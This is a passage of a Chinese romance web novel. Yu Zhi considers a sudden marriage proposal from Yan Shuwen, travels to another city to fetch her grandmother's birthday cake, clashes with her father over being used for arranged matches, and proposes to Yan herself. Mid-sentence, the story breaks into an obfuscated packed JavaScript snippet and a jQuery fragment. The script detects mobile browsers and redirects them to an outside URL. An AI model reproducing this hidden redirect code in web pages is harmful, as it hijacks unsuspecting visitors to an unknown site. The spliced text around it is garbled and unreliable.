虞之大脑宕机,愣在原地。
这句话的信息量有些过于庞大。
输液室一阵安静。
窗口吹来一阵冷风,吹动她散落的发丝,恰好擦过晏书温的肩头,她顺着目光看向他。
他正弯腰,目光直视她的眼睛。
虞之莫名觉得这道目光有些发烫,像是能灼烧她的眼睛。
她慌乱垂眸,耳尖发烫,手不由自主的拽住毯子一角,“可,可以考虑一下吗?”
头顶一声轻笑,语气也不似刚刚那般低沉,“结婚是件严肃又认真的事情,是该用时间思考。”
“抱歉,有些冒犯了。”
虞之瞬间有些不知所措,不断摇头,“没有的,没有的。”
许是她动作太大,毯子顺势滑落。
晏书温弯腰捡起,交予她手中。
空中长久沉默,这份沉默在现在这种场合莫名有些尴尬。
虞之想要找点话题,脸憋的涨红,脑子飞速翻转,依旧没有找不到合适的开场白。
她的头越低越向下,像是要找个地方钻进去。
“虞之。”
“嗯?”她疑惑抬头。
清晨的日光刚刚升起,透过玻璃窗折射在输液室,在晏书温脸上留下斑斓光圈,衬得他整个人清冷又神秘。
许久,他缓缓开口,“我目前和爷爷奶奶生活,家庭不会有复杂的婆媳关系,如果你愿意成为晏太太,我会给自己最大的诚意。”
“希望你可以认真考虑。”
一九年宜江的冬天比以往都要冷,和她当时的遭遇一般,阴沉灰暗,不见天光。
但无论之后过了多少年,虞之依旧记得这天清晨。
旭日初升,薄雾微散,晏书温立在长凳前,清冷又郑重的语气说出,请认真考虑。
——
宜江的天气一到冬天就变得特别怪,早晨还算晴朗的天,中午输完液走出大厅取药时便下起了雪。
虞之站在医院门口的连廊上,伸手向空中接了片雪花,指尖微凉。
她捏了捏,才意识到这好像是今年冬天的第一场雪。
大衣口袋里的手机震动声仿佛要冲了出来,虞之能猜到是谁的电话。
她接通,“爸爸。”
“之之,给你发了那么多消息怎么没回?”
“今天奶奶生日,你记得先去草莓园将预定的蛋糕拿回,下午五点,准时去老宅给奶奶过生日,我晚上回宜江去老宅,记得等我一起走。”
虞之边听边打开微信,这才看到不久前虞述教授发来的信息。
十一点二十三分,她当时大概躺在输液室的凳子上小昧。
想起这些,她鼻尖微微的酸,声音也带有点哑,不想父亲担心,撒了慌,“当时在忙,没看到。”
“之之,今天比较重要,一定要按时到。”父亲的语气郑重的可怕。
虞之吸了吸鼻子,“嗯。”
挂断电话,虞之从药房拿药,刷完卡才发现余额只余下两百三十五块七七。
本想打车去草莓园的心也歇了下来。
草莓园在宜南城郊,是家高档的甜品店,坐落在燕回街,宜江著名的江滩景点,草莓园建在里正好符合它高档优雅的调性。
虞之简单查了下路线,需要先坐城际轻轨到城郊,而后转公交车到附近,步行三公里到达目的地。
她先打了草莓园的预定电话,确认蛋糕是否在制作中,但打了几通电话都被告知号码已经停机。
虞之只好到现场去确认,到达草莓园时已经是一个小时后的事情。
她到前台去查询订单,前台人员告知她,昨天预订的蛋糕目前正在制作中。
订单比较多,让她先坐下等待,她去后厨确认订单。
虞之环顾四周,走到靠窗的位置想要坐下。
一名穿着工装的服务员连忙赶过来,“小姐,马上便是用餐高峰期,这里是留给客人的位置,您是要点单吗?”
言下之意,只有点单才能在这里坐。
虞之扶着凳子的手微顿,拉开也不是,收回也不是。
“如果只是等待预定,麻烦去往南边的休息区。”
虞之目光顺着服务员的手势看去,所谓休息区仅仅是一排摆好的凳子。
尽管此时虞之真的很尴尬,但是想到银行卡里的二百余额,她还是将凳子放了回去,走到休息区。
草莓园的蛋糕并不便宜,她的二百块估计只可以买一块巴掌大的慕斯蛋糕,还是最基础款。
等待的时间有些漫长,时间从一点等到了两点,中间曾去询问过两次前台,回话都是一样的术语,马上遍核实完毕。
两点十分时,刚才那位穿着工装的服务员走过来,“您好小姐,很抱歉,蛋糕胚的材料目前没有了,今天没有办法再做出,如果您比较急,这边可以给您申请一下退款。”
虞之眉心皱起,奶奶吃不惯别的地方的蛋糕,能吃的下的只有草莓园的蛋糕。
宜江只有一家草莓园,但今天这样的场合,蛋糕又是必需品。
她追问,“真的做不了吗?或许别的款式的也可以。”
“真的很抱歉,我们这里只接受定制蛋糕,没有其他款式,今日突然下起大雪将从谔州总店发来的材料堵在了路上,如果您比较急,可以去鄂州总店看一下。”
鄂州?
宜江临市,高铁往返需要两个多小时,现在是两点多,还赶得上。
虞之慌忙订上去往鄂州最近的一班高铁,走之前望了一眼那位服务员,神情严肃,“这种事情应该提前告知!麻烦下次尊重一下消费者!”
走出草莓园一阵冷风佛面,虞之有种从未有过的轻松感,原来拒绝别人真的没有那么难。
打了辆出租车,落地时已是四点多,害怕虞述教授催,她掏出手机本想要和他交代事件。
但高铁站台人流很大,虞之被裹挟在人群里前进,不知是那个调皮小孩从后面撞了她一下,身体惯性前倾,握在手中的手机也摔在了地上。
人群过于密集,手机被不断踩踏,等她拿到手中,屏幕早已稀碎。
她尝试开机,但依旧黑屏。
身后有位家长跟了过来,是那位孩子的母亲,她脸上带着焦急,一手拽着一位四五岁的小男孩,一手抱着一个裹在毯子里的婴儿。
母亲走到她面前连忙道歉,虞之心里的气瞬间消了大半。
她伸手将弯腰的母亲扶起,“没事,让孩子小心些。”
走出高铁站,站在陌生的城市,没有手机,没有现金,只有一张身份证,虞之心里装满了迷茫与恐惧,但她知道现在不是她脆弱的时候。
来之前简单搜索过草莓园的位置,就在高铁站附近,跟着记忆在这里摸索,最后终于找到了草莓园总部。
许是她这一天都没有幸运过,老天都有点看不下去。
在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458903|169653||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
提出她的诉求后,店员笑着告诉她上一个客户退单,和她想要的款式很相似,如果她不介意,可以在这个基础上改一下细节,如果是重新做,可能需要明天才能取。
虞之接受了店员的建议,并用店内座机和许姝言通了电话,借钱付款并买了张车票。
同时也打了通电话给虞述教授,但是很不巧,对方正在忙线中。
她带着蛋糕跨越500多公里,回到老宅。
宜江的雪愈发大,地上也堆了厚厚一层,手伸出来都有些凉,但害怕蛋糕拿不稳,虞之小心的用双手去扶。
刚走到老宅楼下,远远便看到在楼下打电话的虞述教授。
许是察觉到有人正在看他,虞述教授抬头,往常温和的面孔里,带有怒气。
他快速挂断电话朝她走来。
虞之知道自己迟到,父亲生气是正常的,她站在原地,刚想开口解释,父亲一顿披头盖脸的话便落下。
“虞之!你知道现在是几点了吗?!”
虞之被这突如其来的语气吓到了,父亲很少叫她的全名,只有特别生气的时候才会。
她眼眶微红,明明有很多话,但现在一句也说不出来。
“我知道你不喜欢奶奶,不喜欢这样的场合,别的时候就算了,今天可是奶奶生日!”
“你成年了,虞之!该有点成年人的判断,不要再耍小孩子脾气了!”
耍小孩子脾气——吗?
如果耍小孩子脾气,她不会在草莓园得知蛋糕无法制作后,毅然去往鄂州。
如果耍小孩子脾气,她不会在手机被摔后,拿着蛋糕跨越500多公里回到宜江。
如果耍小孩子脾气,她现在甚至不会站在他面前!
压抑住的情绪像是水柱冲出海面,势不可挡。
虞之红着眼睛,泪水在眼眶里打转,“爸爸,你早就知道我讨厌奶奶,可是为什么你从来不问我为什么讨厌呢?”
“你知道的对不对,你只是一直不敢去确认这个答案。”
“叔叔家也有女儿,可是每次去相亲的人总是我!奶奶把我当成她利益的交换者,这里有你的默许,你知道吗?你每一次的沉默都会让叔叔和奶奶对我更加毫无忌惮!”
“我现在也好讨厌你啊……”
没等虞述反应过来,虞之快速放下手中的蛋糕跑了出去。
耳边父亲的喊叫声越来越远,不知道跑了多久,她停在了公交车车牌下。
恰逢公车到,她慌忙上车,不知道这辆车会将她带到哪里。
她坐在后排,眼睛望着车外,随着公交车启动模糊变化的黑影不断从眼前划过,眼泪再也止不住。
不知道坐了多久,司机提醒她到了终点站。
虞之只好下车,站在公交车车牌下,周围一栋栋写字楼,刚停一会的雪又开始从空中疾速飘落,泪水依旧糊在眼睛上。
模糊中看到一群人从对面写字楼里下来,为首的人很像晏书温,虞之这才看到头顶的LOGO——光合资本。
脑子里忽然浮现早晨医院里的情景,心里压抑的情绪和对奶奶的厌恶达到了顶峰。
“晏书温。”她出声叫住了他。
马路中间车流不断,隔着长长一段距离,晏书温目光望向她。
空中有一瞬的寂静,虞之甚至可以听到自己快速跳动的心声。
她双手紧握,深吸一口气,郑重说,“我们结婚吧。”